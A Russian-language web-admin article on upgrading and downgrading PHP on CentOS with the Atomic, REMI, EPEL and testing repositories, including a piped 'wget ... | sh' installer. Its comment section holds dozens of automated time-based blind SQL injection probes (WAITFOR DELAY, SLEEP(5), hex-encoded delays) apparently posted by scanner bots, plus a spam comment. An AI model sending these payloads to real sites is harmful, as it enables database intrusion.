Обновление и Downgrade PHP в CentOS. Статьи. wb0.ru - Все для веб-мастера, on-line сервисы

Обновление и Downgrade PHP в CentOS

CentOS в стандартном репозитории включает в себя PHP 5.1.6. Если для работы необходима более новая версия PHP, то можно воспользоваться сторонними репозиториями.

Обновлние с PHP 5.1.6 до PHP 5.2.x

Использование репозитория Atomic

Использование для обновления репозитория Atomic - наиболее оптимальный и стабильный метод. Прежде всего необходимо подключить репозиторий и принять лицензию скрипта установки:

wget -q -O - http://www.atomicorp.com/installers/atomic.sh | sh

По умолчанию в репозитории ставится версия PHP 5.3.x. Чтобы поставить версию PHP 2.1.7, необходимо в секцию [atomic] файла /etc/yum.repos.d/atomic.repo добавить исключение:

exclude = php*5.3*

После этого можно обновить PHP:

yum update php

При этом не обновляется модуль mcrypt, поэтому его необходимо установить дополнительно:

yum update php-mcrypt

Или одной командой:

yum update php && yum -y install php-mcrypt

После завершения обновления необходимо перезагрузить Apache:

service httpd restart

или

/etc/init.d/httpd restart

Проверяем установленную версию и подключенные модули:

  1. php -v
  2. php -m

Если обновление прошло без ошибок, на экране появится сообщение:

PHP 5.2.17 (cli) (built: Jan  7 2011 08:49:48)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies

и список установленных расширений.

Использование репозитория CentOS-Testing

Обновление из штатного тестового репозитория не рекомендуется из-за возможной нестабильности тестового программного обеспечения.

Сначала необходимо создать файл /etc/yum.repos.d/CentOS-Testing.repo:

  1. # CentOS-Testing:
  2. # !!!! CAUTION !!!!
  3. # This repository is a proving grounds for packages on their way to CentOSPlus and CentOS Extras.
  4. # They may or may not replace core CentOS packages, and are not guaranteed to function properly.
  5. # These packages build and install, but are waiting for feedback from testers as to
  6. # functionality and stability. Packages in this repository will come and go during the
  7. # development period, so it should not be left enabled or used on production systems without due
  8. # consideration.
  9. [c5-testing]
  10. name=CentOS-5 Testing
  11. baseurl=http://dev.centos.org/centos/$releasever/testing/$basearch/
  12. enabled=1
  13. gpgcheck=1
  14. gpgkey=http://dev.centos.org/centos/RPM-GPG-KEY-CentOS-testing
  15. includepkgs=php*

После чего нужно запустить обновление:

yum update

После зварешения обновления необходмио перезагрузить Apache. В результате будет установлена версия PHP 5.2.10

Обновлние с PHP 5.1.6 до PHP 5.3.x

Как и при обновлении до PHP 5.2.x, рекомендуется использование репозитория Atomic. Но для обновления до PHP 5.3 не требуется прописывать исключение.

Использование репозитория REMI

Если по какой-то причине репозиторий Atomic не нравится, можно использовать репозиторий REMI. Сначала необходимо подключить репозиторий EPEL, так как он требуется для репозитория REMI:

rpm -ihv http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm

или

rpm -ihv http://download.fedoraproject.org/pub/epel/5/x86_64/epel-release-5-4.noarch.rpm

Затем подключить репозиторий REMI:

rpm -ihv http://rpms.famillecollet.com/enterprise/remi-release-5.rpm

После подключения репозиториев обновляем PHP до версии 5.3.x и MySQL до версии 5.1, так как это необходимо для корректной работы:

yum --enablerepo=remi update php mysql

Использование штатного репозитория

Использование штатного репозитория не рекомендуется из-за возможной несовместимости и проблем с зависимостями. Для обновления сначала необходимо удалить старую версию PHP. Для этого надо для каждого пакета выполнить команду:

rpm -e php

После этого можно устновить версию PHP 5.2.x:

yum install php52 php52-cli php52-mysql

Downgrade PHP 5.3 до версии 5.2 в CentOS 6.x

Часто для выполнения скриптов, написанных для старых версий PHP, требуется понижение версии PHP 5.3.x до версии PHP 5.2.17. Как и в случае с обновлением PHP с версии 5.1.6 до версии 5.2.17, оптимально воспользоваться репозиторием Atomic.

После подключения репозитория Atomic требуется отключить возможность установки содержащих PHP пакетов в стандартном репозиториии. Для этого в секции [base] и [updates] файла /etc/yum.repos.d/CentOS-Base.repo нужно добавить исключение:

exclude = php*

После этого следует удалить версию PHP 5.3.x (вместе с PHP будут удалены PhpMyAdmin и SquirrelMail) командой:

yum remove php*

Теперь можно установить нужную версию PHP, необходимые расширения, PhpMyAdmin, SquirrelMail и вернуть файлы конфигурации:

  1. yum install php-5.2.17 php-mcrypt-5.2.17 php-gd-5.2.17 php-mbstring-5.2.17 php-pdo-5.2.17 php-mysql-5.2.17
  2. yum install phpmyadmin
  3. yum install squirrelmail
  4. mv /etc/phpMyAdmin/config.inc.php.rpmsave /etc/phpMyAdmin/config.inc.php
  5. mv /etc/squirrelmail/config.php.rpmsave /etc/squirrelmail/config.php
  6. mv /etc/httpd/conf.d/squirrelmail.conf.rpmsave /etc/httpd/conf.d/squirrelmail.conf

Для избежания смены версии PHP при установке программного обеспечения следует отключить возможность автоматической установки расширений, добавив в секцию [atomic] файла /etc/yum.repos.d/atomic.repo исключение:

exclude = php*

После завершения установки необходимо перезагрузить Apache.

Если на сервере используется ISPmanager, то для корректного отображений версий в панели необходимо обновить кэш пакетов:

/usr/local/ispmgr/sbin/pkgctl cache

Для отключения использования репозиториев применяется опция enabled в соответствующих файлах в каталоге /etc/yum.repos.d/.


Дата публикации: 25.04.2013
wb0.ru

Статьи по теме:


Комментарии:
  1. Гость: Hello,%20I%20would%20like%20more%20information%20about%20this.%20Kind%20regards,%20to_stefania29@m.spheremail.net
    Добавлен: 2026-03-12

  2. sozk: DLkw..',("()((
    Добавлен: 2026-03-17

  3. IKba: uLcf)')),.(,".
    Добавлен: 2026-04-24

  4. IKba: uLcf';WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  5. IKba: uLcf');WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  6. IKba: uLcf'));WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  7. IKba: uLcf')));WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  8. IKba: uLcf%';WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  9. IKba: uLcf");WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  10. IKba: uLcf"));WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  11. IKba: uLcf";WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  12. IKba: uLcf);WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  13. IKba: uLcf));WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  14. IKba: uLcf)));WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  15. IKba: uLcf;WAITFOR/**/DELAY/**/'0:0:5'--
    Добавлен: 2026-04-24

  16. IKba: uLcf';DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  17. IKba: uLcf');DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  18. IKba: uLcf'));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  19. IKba: uLcf')));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  20. IKba: uLcf%';DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  21. IKba: uLcf");DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  22. IKba: uLcf"));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  23. IKba: uLcf";DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  24. IKba: uLcf);DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  25. IKba: uLcf));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  26. IKba: uLcf)));DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  27. IKba: uLcf;DECLARE/**/@x/**/CHAR(9);SET/**/@x=0x303a303a35;WAITFOR/**/DELAY/**/@x--
    Добавлен: 2026-04-24

  28. DGwj: GulD),"(('),(.
    Добавлен: 2026-04-28

  29. DGwj: GulD';SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  30. DGwj: GulD');SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  31. DGwj: GulD'));SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  32. DGwj: GulD')));SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  33. DGwj: GulD%';SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  34. DGwj: GulD");SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  35. DGwj: GulD"));SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  36. DGwj: GulD";SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  37. DGwj: GulD);SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  38. DGwj: GulD));SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  39. DGwj: GulD)));SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  40. DGwj: GulD;SELECT/**/SLEEP(5)#
    Добавлен: 2026-04-28

  41. DGwj: GulD';SELECT/**/SLEEP(5)--/**/JwhI
    Добавлен: 2026-04-28

  42. DGwj: GulD');SELECT/**/SLEEP(5)/**/AND/**/('JDsH'='JDsH
    Добавлен: 2026-04-28

  43. DGwj: GulD'));SELECT/**/SLEEP(5)/**/AND/**/(('RlUz'='RlUz
    Добавлен: 2026-04-28

  44. DGwj: GulD')));SELECT/**/SLEEP(5)/**/AND/**/((('Unjs'='Unjs
    Добавлен: 2026-04-28

  45. DGwj: GulD';SELECT/**/SLEEP(5)/**/AND/**/'jEPH'='jEPH
    Добавлен: 2026-04-28

  46. DGwj: GulD');SELECT/**/SLEEP(5)/**/AND/**/('YBxQ'/**/LIKE/**/'YBxQ
    Добавлен: 2026-04-28

  47. DGwj: GulD'));SELECT/**/SLEEP(5)/**/AND/**/(('sCgo'/**/LIKE/**/'sCgo
    Добавлен: 2026-04-28

  48. DGwj: GulD%';SELECT/**/SLEEP(5)/**/AND/**/'tdHh%'='tdHh
    Добавлен: 2026-04-28

  49. DGwj: GulD';SELECT/**/SLEEP(5)/**/AND/**/'Xdoo'/**/LIKE/**/'Xdoo
    Добавлен: 2026-04-28

  50. DGwj: GulD");SELECT/**/SLEEP(5)/**/AND/**/("jpme"="jpme
    Добавлен: 2026-04-28

  51. DGwj: GulD"));SELECT/**/SLEEP(5)/**/AND/**/(("xCGA"="xCGA
    Добавлен: 2026-04-28

  52. DGwj: GulD";SELECT/**/SLEEP(5)/**/AND/**/"PvJy"="PvJy
    Добавлен: 2026-04-28

  53. DGwj: GulD");SELECT/**/SLEEP(5)/**/AND/**/("sbXV"/**/LIKE/**/"sbXV
    Добавлен: 2026-04-28

  54. DGwj: GulD";SELECT/**/SLEEP(5)/**/AND/**/"BfOo"/**/LIKE/**/"BfOo
    Добавлен: 2026-04-28

  55. DGwj: GulD';SELECT/**/SLEEP(5)/**/OR/**/'qKiS'='krAT
    Добавлен: 2026-04-28

  56. DGwj: GulD);SELECT/**/SLEEP(5)--/**/gApy
    Добавлен: 2026-04-28

  57. DGwj: GulD);SELECT/**/SLEEP(5)/**/AND/**/(9532/**/BETWEEN/**/9532/**/AND/**/9532
    Добавлен: 2026-04-28

  58. DGwj: GulD));SELECT/**/SLEEP(5)/**/AND/**/((9691/**/BETWEEN/**/9691/**/AND/**/9691
    Добавлен: 2026-04-28

  59. DGwj: GulD)));SELECT/**/SLEEP(5)/**/AND/**/(((3721/**/BETWEEN/**/3721/**/AND/**/3721
    Добавлен: 2026-04-28

  60. DGwj: GulD;SELECT/**/SLEEP(5)
    Добавлен: 2026-04-28

  61. DGwj: GulD;SELECT/**/SLEEP(5)--/**/CXlB
    Добавлен: 2026-04-28

  62. DGwj: GulD;SELECT/**/SLEEP(5)#/**/TxLX
    Добавлен: 2026-04-28

  63. DGwj: GulD';(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))FAYY)#
    Добавлен: 2026-04-28

  64. DGwj: GulD');(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))FAYY)#
    Добавлен: 2026-04-28

  65. DGwj: GulD'));(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))FAYY)#
    Добавлен: 2026-04-28

  66. DGwj: GulD')));(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))FAYY)#
    Добавлен: 2026-04-28

  67. DGwj: GulD%';(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))FAYY)#
    Добавлен: 2026-04-28

  68. DGwj: GulD");(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))FAYY)#
    Добавлен: 2026-04-28

  69. DGwj: GulD"));(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))FAYY)#
    Добавлен: 2026-04-28

  70. DGwj: GulD";(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))FAYY)#
    Добавлен: 2026-04-28

  71. DGwj: GulD);(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))FAYY)#
    Добавлен: 2026-04-28

  72. DGwj: GulD));(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))FAYY)#
    Добавлен: 2026-04-28

  73. DGwj: GulD)));(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))FAYY)#
    Добавлен: 2026-04-28

  74. DGwj: GulD;(SELECT/**/*/**/FROM/**/(SELECT(SLEEP(5)))FAYY)#
    Добавлен: 2026-04-28


   Ваш псевдоним:
Ваш комментарий:

Календарь событий


Новости Интернет


Поиск





Последний пересчет

тИЦ:07 Окт 15
PR:09 Дек 13

Наши партнеры

wservices.ru - регистрация доменов, Whois-сервисы Смайлы на все случаи жизни


 
Copyright © 2006-2026, wb0.ru